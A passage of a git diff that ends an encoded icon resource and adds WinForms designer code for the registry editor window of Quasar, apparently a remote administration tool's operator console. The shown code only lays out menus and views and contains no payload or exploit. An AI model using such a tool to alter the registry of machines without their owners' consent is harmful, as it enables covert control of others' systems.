If85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv86KiP/OCki/yYVDv8sGhP/PCwl/zoq + I/85KSL/OSki/zgoIf84KCH/OCgh/zoqI/8oGRH/NCEZ/9vV0v///////////8W9uf8pFw//MSEa/zkp + Iv84KCH/Nycg/zgoIf85KSL/OSki/zkpIv85KSL/Oioj/xwMB/8zHxj/7ero/+7q6f82Ixz/HQwJ/zss + JP86KiP/OSki/zkpIv85KSL/OSki/zoqI/8tHRb/RjYv2W5eV4f///8B////Af///wH///8B////Af// + /wFTQzynPy8o7TEhGv84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv84KCH/Nycg/zoq + Iv9tXVj/Xk5I/zIiHP83JyD/OCgh/zgoIf85KSL/OCgh/zgoIf85KSL/NSUe/yQSCf+3rqv///////// + //+dko7/GQcA/zsrJP84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/zAhGP8pFxL/s6el//// + ////////saek/yQSDv8yIhv/Oysk/zkpIv85KSL/OSki/zkpIv86KiP/LR0W/0Y2L9luXleH////Af// + /wH///8B////Af///wH///8BU0M8pz8vKOsxIRr/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv86KiP/OCgh/xsLBf8nHh3/7+bh/6efnP8GAAD/JxUQ/zsrJP85KSL/OSki/zkpIv85KSL/OCgh/zoq + I/8YBgD/kYR///7+/f/7+fn/f29p/xwLBP88LCX/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/y4e + F/85Jh//u7Ou//////////////////////+4r6v/PCoi/y4eF/86KiP/OSki/zkpIv85KSL/Oioj/y0d + Fv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVFBOqs+LifvMSEa/zgoIf85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/NiYf/zkpIf9tXlj/iXx4//z38//Pysj/e2xm/1pLRP8yIRr/Nycg/zkp + Iv85KSL/OSki/zkpIv86KiP/HQsE/3hoYP/6+fn/9fTz/1xNRv8jEgv/Oisk/zkpIv85KSL/OSki/zkp + Iv86KiP/Oioj/zsrJP8xIRr/MR8Y/52Qiv/7+vn////////////7+fn/m4+I/zAfF/8yIhv/Oioj/zkp + Iv85KSL/OSki/zoqI/8tHRb/RjYv221dVov///8B////Af///wH///8B////Af///wFTQzyrPy8o7zIi + G/85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/zIiG/88KiL/4NfT/////////v3///7+//// + //+bko7/JBIL/zQjHP85KSL/OSki/zkpIv85KSL/Oioj/yQTC/9ZS0X/9fT0//Hv7v9DMiv/JxcQ/zoq + I/85KSL/OSki/zoqI/85KSL/KxsU/yoZEv82Jh7/Oysl/zMjHP8aCAX/lIiD//79/P/9/fz/koeD/xkH + BP80JR3/Oysk/zkpIv85KSL/OSki/zkpIv87KyT/LR0W/0MzLNtsXFWL////Af///wH///8B////Af// + /wH///8BaFhRaUU1LscsHBX/Oioj/zgoIf85KSL/OSki/zgoIf85KSL/OSki/zkpIv83JyD/OSoj/1RF + Pv9pWlP/9/Hv/8O/vP9WR0D/Szs0/zQkHP84KCH/OSki/zkpIv85KSL/OSki/zkpIv8oFxD/QjEq//Hv + 7//j3tr/OSYe/ywcFv86KiP/OSki/zkpIv86KyT/Lh0V/1A/N/9WR0D/MB8X/zMjHP87KyT/KhoU/ygV + Dv/k3tv/5N7b/yoXEP8oGRP/Oysk/zkpIv85KSL/OSki/zkpIv84KCH/Oioj/ygYEf9MPDW7f29oWf// + /wH///8B////Af///wH///8B////AYd3cBNrW1RdLx8Y7TAgGf84KCH/OSki/zkpIv84KCH/OCgh/zkp + Iv85KSL/OSki/zgoIf8lEw3/MB4c/+fg2/+noZ7/FQMA/y4dFv86KiP/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/LBwV/zglHf/s5uP/z8nG/y0bEv8yIhv/OSki/zkpIv87KyP/JhYQ/2dXUP/v6+n/+vn3/5iM + iP8qGBD/MiMc/zsrJP8bCwT/mImC/5WFf/8ZCQP/PCwl/zkpIv85KSL/OSki/zoqI/85KSL/Nycg/zAg + Gf81JR7nf29oUaOTjA3///8B////Af///wH///8B////Af///wH///8B////AV5OR1FDMyzRNSUe/zYm + H/83JyD/Oioj/zgoIf85KSL/OSki/zkpIv84KCH/Nycg/zgoIf9XSEL/T0A5/zUlHv85KSL/OCgh/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zEhGv8tGxP/3tfV/7u1s/8gDQX/Nygh/zkpIv85KSL/PCwl/xYE + Af+qoZ7////////////X0s//Oygh/ycXEP86KiP/NCUe/0IxKf9DMiv/MiMc/zkpIv85KSL/OSki/zoq + I/83JyD/MyMc/zQkHf06KiPDWEhBQf///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8BZVVOGVJCO307KyTbMCAZ/zQkHf84KCH/OSki/zkpIv85KSL/OSki/zkpIv83KCH/JhYO/ywb + FP87KyT/OSki/zgoIf85KSL/OSki/zkpIv85KSL/OCgh/zgoIf82Jh//IxAI/8zGw/+uqKb/FgQA/zsr + JP85KSL/OSki/zorJP8nFg//ZlZQ/+Tg3v/v7ez/n5WQ/yoZEf80JB3/OSki/zopIv8wIBr/MCAZ/zoq + I/84KCH/OSki/zkpIv8zIxz/Lh4X/z4uJ9deTkdzX09IE////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8BUEA5L1lJQps4KCHtNSUe/zYmH/85KSL/OCgh/zgo + If84KCH/OSki/zsrJP86KiP/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv84KCH/Oioj/xsI + Av+yqqf/ppqU/xoJAv87KyT/OSki/zkpIv85KSL/Oysk/y0cFP9SQjv/WUlD/y8fF/8zIxz/Oysk/zkp + Iv85KSL/OSki/zkpIv84KCH/OSki/zYmH/8zIxz/OSki52RUTZFeTkcn////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wGBcWoFTj43SUc3 + MK80JB31Lx8Y/zYmH/85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zsrJP8dDAX/npGL/5OFfv8gDwj/Oysk/zgoIf85KSL/OSki/zoqI/83KCH/IxML/yMR + Cf8xIRn/PCwl/zkpIv85KSL/OSki/zkpIv85KSL/Nycg/y4eF/8yIhv1Tz84o1tLRD+VhX4F////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wFPPzgJVUU+X0g4MdUwIBn/MSEa/zsrJP85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zgoIf86KiP/IxMM/5B/eP+Ccmv/JRYP/zoqI/84KCH/OSki/zkp + Iv85KSL/OSki/zkqI/86KiP/OSki/zkpIv85KSL/OSki/zkpIv85KSL/NSUe/zAgGf9JOTLPXExFV19P + SAf///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFpWVIbTj43dz0tJu0vHxj/OCgh/zkp + Iv85KSL/OSki/zgoIf84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/ygYEf96amP/bl5X/yoa + E/85KSL/OCgh/zkpIv85KSL/OSki/zgoIf84KCH/OCgh/zkpIv85KSL/OSki/zkpIv84KCH/Lh4X/zsr + JN1RQTpzeGhhE////wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVRE + PQOIeHEvSjozozUlHvs0JB3/NiYf/zgoIf84KCH/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zoq + I/8wIBn/XU1G/1FBOv8yIhv/Nycg/zgoIf85KSL/OSki/zkpIv84KCH/OCgh/zcnIP84KCH/OCgh/zcn + IP81JR7/NCQd+VtLRJ1dTUYjWkpDA////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////AVFBOgVPPzhJQDApuzYmH/8zIxz/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zsrJP83JyD/OSki/zcnIP85KSL/OSki/zkpIv85KSL/OCgh/zgo + If85KSL/Nycg/zMjHP81JR77Pi8ot1hIQUNmVk8D////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVlJQgtuXldtNSUe1zEh + Gv8xIRr/OCgh/zoqI/85KSL/OSki/zkpIv85KSL/OSki/zoqI/82Jh//NiYf/zgoIf84KCH/OCgh/zkp + Iv85KSL/OSki/zkpIv81JR7/NiYf/zIiG/9HNzDTWkpDX0U1LgX///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AVNDPCE9LSaPPS0m5TMjHP83JyD/Oioj/zoqI/85KSL/OSki/zgoIf85KSL/OSki/zgo + If84KCH/OSki/zgoIf85KSL/Oioj/zoqI/81JR7/MiIb/zoqI9tAMCqHcmJbHf///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AWhYUTtGNjCrNCQd8zEhGv81JR7/Oioj/zkp + Iv83JyD/OCgh/zkpIv85KSL/OSki/zgoIf84KCH/Oysk/zMjHP8tHRb/OCgh71dHQKNJOTIt////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BXU1GBz4u + J09AMCm9NSUe/zIiG/84KCH/OSki/zgoIf85KSL/OSki/zgoIf86KiP/OSki/zEhGv8zIxz/RDQtt0o6 + M0l5aWIF////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8BXk5HE2paU2U0JB3bKBgR/zMjHP85KSL/OCgh/zgoIf85KSL/MiIb/y4e + F/83JyDZdGRdX25eVw////8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BVUU+I2BQSY04KCHzLh4X/zoq + I/85KSL/MSEa/zkpIu9FNS5/SDgxH////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8BYlJLOUU1Lq8yIhvXMiIb104+N6lqWlM1////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA== + + + \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmRegistryEditor.Designer.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmRegistryEditor.Designer.cs new file mode 100755 index 0000000..a165969 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmRegistryEditor.Designer.cs @@ -0,0 +1,768 @@ +using Quasar.Server.Controls; + +namespace Quasar.Server.Forms +{ + partial class FrmRegistryEditor + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.components = new System.ComponentModel.Container(); + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmRegistryEditor)); + Quasar.Server.Utilities.ListViewColumnSorter listViewColumnSorter2 = new Quasar.Server.Utilities.ListViewColumnSorter(); + this.tableLayoutPanel = new System.Windows.Forms.TableLayoutPanel(); + this.splitContainer = new System.Windows.Forms.SplitContainer(); + this.imageRegistryDirectoryList = new System.Windows.Forms.ImageList(this.components); + this.imageRegistryKeyTypeList = new System.Windows.Forms.ImageList(this.components); + this.statusStrip = new System.Windows.Forms.StatusStrip(); + this.selectedStripStatusLabel = new System.Windows.Forms.ToolStripStatusLabel(); + this.menuStrip = new System.Windows.Forms.MenuStrip(); + this.searchPanel = new System.Windows.Forms.Panel(); + this.btnNavigate = new System.Windows.Forms.Button(); + this.txtSearchPath = new System.Windows.Forms.TextBox(); + this.lblSearch = new System.Windows.Forms.Label(); + this.tv_ContextMenuStrip = new System.Windows.Forms.ContextMenuStrip(this.components); + this.newToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.keyToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.toolStripSeparator2 = new System.Windows.Forms.ToolStripSeparator(); + this.stringValueToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.binaryValueToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.dWORD32bitValueToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.qWORD64bitValueToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.multiStringValueToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.expandableStringValueToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.toolStripSeparator1 = new System.Windows.Forms.ToolStripSeparator(); + this.deleteToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.renameToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.selectedItem_ContextMenuStrip = new System.Windows.Forms.ContextMenuStrip(this.components); + this.modifyToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.modifyBinaryDataToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.modifyToolStripSeparator1 = new System.Windows.Forms.ToolStripSeparator(); + this.deleteToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem(); + this.renameToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem(); + this.lst_ContextMenuStrip = new System.Windows.Forms.ContextMenuStrip(this.components); + this.newToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem(); + this.keyToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem(); + this.toolStripSeparator4 = new System.Windows.Forms.ToolStripSeparator(); + this.stringValueToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem(); + this.binaryValueToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem(); + this.dWORD32bitValueToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem(); + this.qWORD64bitValueToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem(); + this.multiStringValueToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem(); + this.expandableStringValueToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem(); + this.exitToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.fileToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.modifyToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem(); + this.modifyBinaryDataToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem(); + this.modifyNewtoolStripSeparator = new System.Windows.Forms.ToolStripSeparator(); + this.newToolStripMenuItem2 = new System.Windows.Forms.ToolStripMenuItem(); + this.keyToolStripMenuItem2 = new System.Windows.Forms.ToolStripMenuItem(); + this.toolStripSeparator7 = new System.Windows.Forms.ToolStripSeparator(); + this.stringValueToolStripMenuItem2 = new System.Windows.Forms.ToolStripMenuItem(); + this.binaryValueToolStripMenuItem2 = new System.Windows.Forms.ToolStripMenuItem(); + this.dWORD32bitValueToolStripMenuItem2 = new System.Windows.Forms.ToolStripMenuItem(); + this.qWORD64bitValueToolStripMenuItem2 = new System.Windows.Forms.ToolStripMenuItem(); + this.multiStringValueToolStripMenuItem2 = new System.Windows.Forms.ToolStripMenuItem(); + this.expandableStringValueToolStripMenuItem2 = new System.Windows.Forms.ToolStripMenuItem(); + this.toolStripSeparator6 = new System.Windows.Forms.ToolStripSeparator(); + this.deleteToolStripMenuItem2 = new System.Windows.Forms.ToolStripMenuItem(); + this.renameToolStripMenuItem2 = new System.Windows.Forms.ToolStripMenuItem(); + this.editToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.tvRegistryDirectory = new Quasar.Server.Controls.RegistryTreeView(); + this.lstRegistryValues = new Quasar.Server.Controls.AeroListView(); + this.hName = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.hType = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.hValue = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.tableLayoutPanel.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer)).BeginInit(); + this.splitContainer.Panel1.SuspendLayout(); + this.splitContainer.Panel2.SuspendLayout(); + this.splitContainer.SuspendLayout(); + this.statusStrip.SuspendLayout(); + this.menuStrip.SuspendLayout(); + this.searchPanel.SuspendLayout(); + this.tv_ContextMenuStrip.SuspendLayout(); + this.selectedItem_ContextMenuStrip.SuspendLayout(); + this.lst_ContextMenuStrip.SuspendLayout(); + this.SuspendLayout(); + // + // tableLayoutPanel + // + this.tableLayoutPanel.ColumnCount = 1; + this.tableLayoutPanel.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 100F)); + this.tableLayoutPanel.Controls.Add(this.splitContainer, 0, 1); + this.tableLayoutPanel.Controls.Add(this.statusStrip, 0, 2); + this.tableLayoutPanel.Controls.Add(this.searchPanel, 0, 0); + this.tableLayoutPanel.Dock = System.Windows.Forms.DockStyle.Fill; + this.tableLayoutPanel.GrowStyle = System.Windows.Forms.TableLayoutPanelGrowStyle.FixedSize; + this.tableLayoutPanel.Location = new System.Drawing.Point(0, 0); + this.tableLayoutPanel.Margin = new System.Windows.Forms.Padding(4); + this.tableLayoutPanel.Name = "tableLayoutPanel"; + this.tableLayoutPanel.RowCount = 3; + this.tableLayoutPanel.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Absolute, 43F)); + this.tableLayoutPanel.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 100F)); + this.tableLayoutPanel.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Absolute, 28F)); + this.tableLayoutPanel.Size = new System.Drawing.Size(1083, 701); + this.tableLayoutPanel.TabIndex = 0; + // + // splitContainer + // + this.splitContainer.Dock = System.Windows.Forms.DockStyle.Fill; + this.splitContainer.Location = new System.Drawing.Point(4, 55); + this.splitContainer.Margin = new System.Windows.Forms.Padding(4); + this.splitContainer.Name = "splitContainer"; + // + // splitContainer.Panel1 + // + this.splitContainer.Panel1.Controls.Add(this.tvRegistryDirectory); + // + // splitContainer.Panel2 + // + this.splitContainer.Panel2.Controls.Add(this.lstRegistryValues); + this.splitContainer.Size = new System.Drawing.Size(1075, 614); + this.splitContainer.SplitterDistance = 319; + this.splitContainer.SplitterWidth = 5; + this.splitContainer.TabIndex = 0; + // + // imageRegistryDirectoryList + // + this.imageRegistryDirectoryList.ImageStream = ((System.Windows.Forms.ImageListStreamer)(resources.GetObject("imageRegistryDirectoryList.ImageStream"))); + this.imageRegistryDirectoryList.TransparentColor = System.Drawing.Color.Transparent; + this.imageRegistryDirectoryList.Images.SetKeyName(0, "folder.png"); + // + // imageRegistryKeyTypeList + // + this.imageRegistryKeyTypeList.ImageStream = ((System.Windows.Forms.ImageListStreamer)(resources.GetObject("imageRegistryKeyTypeList.ImageStream"))); + this.imageRegistryKeyTypeList.TransparentColor = System.Drawing.Color.Transparent; + this.imageRegistryKeyTypeList.Images.SetKeyName(0, "reg_string.png"); + this.imageRegistryKeyTypeList.Images.SetKeyName(1, "reg_binary.png"); + // + // statusStrip + // + this.statusStrip.Dock = System.Windows.Forms.DockStyle.Fill; + this.statusStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.selectedStripStatusLabel}); + this.statusStrip.Location = new System.Drawing.Point(0, 673); + this.statusStrip.Name = "statusStrip"; + this.statusStrip.Padding = new System.Windows.Forms.Padding(1, 0, 18, 0); + this.statusStrip.Size = new System.Drawing.Size(1083, 28); + this.statusStrip.TabIndex = 1; + this.statusStrip.Text = "statusStrip"; + // + // selectedStripStatusLabel + // + this.selectedStripStatusLabel.Name = "selectedStripStatusLabel"; + this.selectedStripStatusLabel.Size = new System.Drawing.Size(0, 22); + this.selectedStripStatusLabel.ForeColor = System.Drawing.Color.White; + // + // menuStrip + // + this.menuStrip.Dock = System.Windows.Forms.DockStyle.None; + this.menuStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.fileToolStripMenuItem, + this.editToolStripMenuItem}); + this.menuStrip.Location = new System.Drawing.Point(0, 0); + this.menuStrip.Name = "menuStrip"; + this.menuStrip.Size = new System.Drawing.Size(103, 8); + this.menuStrip.TabIndex = 2; + // + // searchPanel + // + this.searchPanel.Controls.Add(this.btnNavigate); + this.searchPanel.Controls.Add(this.txtSearchPath); + this.searchPanel.Controls.Add(this.lblSearch); + this.searchPanel.Dock = System.Windows.Forms.DockStyle.Fill; + this.searchPanel.ForeColor = System.Drawing.Color.White; + this.searchPanel.Location = new System.Drawing.Point(3, 11); + this.searchPanel.Name = "searchPanel"; + this.searchPanel.Size = new System.Drawing.Size(1077, 37); + this.searchPanel.TabIndex = 3; + // + // btnNavigate + // + this.btnNavigate.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.btnNavigate.Location = new System.Drawing.Point(1753, 5); + this.btnNavigate.Name = "btnNavigate"; + this.btnNavigate.Size = new System.Drawing.Size(90, 26); + this.btnNavigate.TabIndex = 2; + this.btnNavigate.Text = "Navigate"; + this.btnNavigate.UseVisualStyleBackColor = true; + this.btnNavigate.Click += new System.EventHandler(this.btnNavigate_Click); + // + // txtSearchPath + // + this.txtSearchPath.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.txtSearchPath.ForeColor = System.Drawing.Color.White; + this.txtSearchPath.Location = new System.Drawing.Point(55, 11); + this.txtSearchPath.Name = "txtSearchPath"; + this.txtSearchPath.Size = new System.Drawing.Size(1013, 26); + this.txtSearchPath.TabIndex = 1; + this.txtSearchPath.KeyDown += new System.Windows.Forms.KeyEventHandler(this.txtSearchPath_KeyDown); + // + // lblSearch + // + this.lblSearch.AutoSize = true; + this.lblSearch.ForeColor = System.Drawing.Color.White; + this.lblSearch.Location = new System.Drawing.Point(9, 14); + this.lblSearch.Name = "lblSearch"; + this.lblSearch.Size = new System.Drawing.Size(40, 19); + this.lblSearch.TabIndex = 0; + this.lblSearch.Text = "Path:"; + this.lblSearch.Click += new System.EventHandler(this.lblSearch_Click); + // + // tv_ContextMenuStrip + // + this.tv_ContextMenuStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.newToolStripMenuItem, + this.toolStripSeparator1, + this.deleteToolStripMenuItem, + this.renameToolStripMenuItem}); + this.tv_ContextMenuStrip.Name = "contextMenuStrip"; + this.tv_ContextMenuStrip.Size = new System.Drawing.Size(133, 82); + this.tv_ContextMenuStrip.ForeColor = System.Drawing.Color.White; + // + // newToolStripMenuItem + // + this.newToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.keyToolStripMenuItem, + this.toolStripSeparator2, + this.stringValueToolStripMenuItem, + this.binaryValueToolStripMenuItem, + this.dWORD32bitValueToolStripMenuItem, + this.qWORD64bitValueToolStripMenuItem, + this.multiStringValueToolStripMenuItem, + this.expandableStringValueToolStripMenuItem}); + this.newToolStripMenuItem.Name = "newToolStripMenuItem"; + this.newToolStripMenuItem.Size = new System.Drawing.Size(132, 24); + this.newToolStripMenuItem.Text = "New"; + // + // keyToolStripMenuItem + // + this.keyToolStripMenuItem.Name = "keyToolStripMenuItem"; + this.keyToolStripMenuItem.Size = new System.Drawing.Size(253, 26); + this.keyToolStripMenuItem.Text = "Key"; + this.keyToolStripMenuItem.Click += new System.EventHandler(this.createNewRegistryKey_Click); + // + // toolStripSeparator2 + // + this.toolStripSeparator2.Name = "toolStripSeparator2"; + this.toolStripSeparator2.Size = new System.Drawing.Size(250, 6); + // + // stringValueToolStripMenuItem + // + this.stringValueToolStripMenuItem.Name = "stringValueToolStripMenuItem"; + this.stringValueToolStripMenuItem.Size = new System.Drawing.Size(253, 26); + this.stringValueToolStripMenuItem.Text = "String Value"; + this.stringValueToolStripMenuItem.Click += new System.EventHandler(this.createStringRegistryValue_Click); + // + // binaryValueToolStripMenuItem + // + this.binaryValueToolStripMenuItem.Name = "binaryValueToolStripMenuItem"; + this.binaryValueToolStripMenuItem.Size = new System.Drawing.Size(253, 26); + this.binaryValueToolStripMenuItem.Text = "Binary Value"; + this.binaryValueToolStripMenuItem.Click += new System.EventHandler(this.createBinaryRegistryValue_Click); + // + // dWORD32bitValueToolStripMenuItem + // + this.dWORD32bitValueToolStripMenuItem.Name = "dWORD32bitValueToolStripMenuItem"; + this.dWORD32bitValueToolStripMenuItem.Size = new System.Drawing.Size(253, 26); + this.dWORD32bitValueToolStripMenuItem.Text = "DWORD (32-bit) Value"; + this.dWORD32bitValueToolStripMenuItem.Click += new System.EventHandler(this.createDwordRegistryValue_Click); + // + // qWORD64bitValueToolStripMenuItem + // + this.qWORD64bitValueToolStripMenuItem.Name = "qWORD64bitValueToolStripMenuItem"; + this.qWORD64bitValueToolStripMenuItem.Size = new System.Drawing.Size(253, 26); + this.qWORD64bitValueToolStripMenuItem.Text = "QWORD (64-bit) Value"; + this.qWORD64bitValueToolStripMenuItem.Click += new System.EventHandler(this.createQwordRegistryValue_Click); + // + // multiStringValueToolStripMenuItem + // + this.multiStringValueToolStripMenuItem.Name = "multiStringValueToolStripMenuItem"; + this.multiStringValueToolStripMenuItem.Size = new System.Drawing.Size(253, 26); + this.multiStringValueToolStripMenuItem.Text = "Multi-String Value"; + this.multiStringValueToolStripMenuItem.Click += new System.EventHandler(this.createMultiStringRegistryValue_Click); + // + // expandableStringValueToolStripMenuItem + // + this.expandableStringValueToolStripMenuItem.Name = "expandableStringValueToolStripMenuItem"; + this.expandableStringValueToolStripMenuItem.Size = new System.Drawing.Size(253, 26); + this.expandableStringValueToolStripMenuItem.Text = "Expandable String Value"; + this.expandableStringValueToolStripMenuItem.Click += new System.EventHandler(this.createExpandStringRegistryValue_Click); + // + // toolStripSeparator1 + // + this.toolStripSeparator1.Name = "toolStripSeparator1"; + this.toolStripSeparator1.Size = new System.Drawing.Size(129, 6); + // + // deleteToolStripMenuItem + // + this.deleteToolStripMenuItem.Enabled = false; + this.deleteToolStripMenuItem.Name = "deleteToolStripMenuItem"; + this.deleteToolStripMenuItem.Size = new System.Drawing.Size(132, 24); + this.deleteToolStripMenuItem.Text = 